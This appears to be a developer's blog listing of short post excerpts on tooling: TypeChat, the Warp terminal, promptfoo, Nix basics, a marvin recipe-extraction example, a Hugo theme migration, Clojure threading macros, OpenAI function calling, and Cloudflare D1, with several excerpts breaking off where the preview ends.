First attempt

I made an attempt to setup TypeChat to see what’s happening on the Node/TypeScript side of language model prompting. I’m less familiar with TypeScript than Python, so I expected to learn some things during the setup. The project provides example projects within the repo, so I tried to pattern off of one of those to get the sentiment classifier example running.

I manage node with asdf. I’d like to do this with nix one day but I’m not quite comfortable enough with that yet to prevent it from become its own rabbit hole. I installed TypeScript globally (npm install -g typescript) to my asdf managed version of node, then put the version I was using in .tool-version in my project.

I downloaded Warp today. I’ve been using iTerm2 for years. It’s worked well for me but Warp came recommended and so I figured I should be willing to give something different a chance. Warp looks like a pretty standard terminal except you need to sign-in, as with most things SaaS these days. It looks like the beta is free but there is a paid version for teams. Warp puts “workflows” as first class citizens of the editor experience. These occupy the left sidebar where files typically live in a text editor. At first past, workflows seem like aliases where the whole “formula” is visible in the terminal window when you invoke them, rather than requiring you to memorize your alias/function and arguments. Additionally, typing workflows: or w: in the prompt, opens a workflow picker with fuzzy search and a preview of what the workflow runs. It comes with window splitting (like tmux) by default, and somehow using my personal hotkeys. I’m not sure if this is a lucky coincidence or it they somehow loaded by iTerm2 settings. By default, the PS1 is

promptfoo is a Javascript library and CLI for testing and evaluating LLM output quality. It’s straightforward to install and get up and running quickly. As a first experiment, I’ve used it to compare the output of three similar prompts that specify their output structure using different modes of schema definition. To get started

mkdir prompt_comparison
cd prompt_comparison
promptfoo init

The scaffold creates a prompts.txt file, and this is where I wrote a parameterized prompt to classify and extract data from a support message.

To broaden my knowledge of nix, I’m working through an Overview of the Nix Language.

Most of the data types and structures are relatively self-explanatory in the context of modern programming languages.

Double single quotes strip leading spaces.

''  s  '' == "s  "

Functions are a bit unexpected visually, but simply enough with an accompanying explanation. For example, the following is a named function f with two arguments x and y.

f = x: y: x*y

To call the function, write f 1 4. Calling the function with only a single arg returns a partial.

I started working through the Zero to Nix guide. This is a light introduction that touch on a few of the command line tools that come with nix and how they can be used to build local and remote projects and enter developer environments. While many of the examples are high level concept you’d probably apply when developing with nix, flake templates are one thing I could imagine returning to often.

I’ve been following the “AI engineering framework” marvin for several months now. In addition to openai_function_call, it’s currently one of my favorite abstractions built on top of a language model. The docs are quite good, but as a quick demo, I’ve ported over a simplified version of an example from an earlier post, this time using marvin.

import json
import marvin
from marvin import ai_model

from pydantic import (
    BaseModel,
)
from typing import (
    List,
)

marvin.settings.llm_model = "gpt-3.5-turbo-16k"

class Ingredient(BaseModel):
    name: str
    quantity: float
    unit: str

@ai_model
class Recipe(BaseModel):
    title: str
    description: str
    duration_minutes: int
    ingredients: List[Ingredient]
    steps: List[str]

# read the recipe from a text file
with open("content.txt", "r") as f:
    content = f.read()

recipe = Recipe(content)
print(json.dumps(recipe.dict(), indent=2))

The result:

Go introduced modules several years ago as part of a dependency management system. My Hugo site is still using git submodules to manage its theme. I attempted to migrate to Go’s submodules but eventually ran into a snag when trying to deploy the site.

To start, remove the submodule

git submodule deinit --all

and then remove the themes folder

git rm -r themes

To finish the cleanup, remove the theme key from config.toml.

The threading macro in Clojure provides a more readable way to compose functions together. It’s a bit like a Bash pipeline. The following function takes a string, splits on a : and trims the whitespace from the result. The threading macro denoted by -> passes the threaded value as the first argument to the functions.

(defn my-fn
  [s]
  (-> s
    (str/split #":") ;; split by ":"
    second ;; take the second element
    (str/trim) ;; remove whitespace from the string
    )
  )

There is another threading macro denoted by ->> which passes the threaded value as the last argument to the functions. For example:

This past week, OpenAI added function calling to their SDK. This addition is exciting because it now incorporates schema as a first-class citizen in making calls to OpenAI chat models. As the example code and naming suggest, you can define a list of functions and schema of the parameters required to call them and the model will determine whether a function needs to be invoked in the context of the completion, then return JSON adhering to the schema defined for the function. If you read anything else I’ve written you probably know what I’m going to try and do next: let’s use a function to extract structured data from an unstructured input.

I was interested to learn more about the developer experience of Cloudflare’s D1 serverless SQL database offering. I started with this tutorial. Using wrangler you can scaffold a Worker and create a D1 database. The docs were straightforward up until the Write queries within your Worker section. For me, wrangler scaffolded a worker with a different structure than the docs discuss. I was able to progress through the rest of the tutorial by doing the following: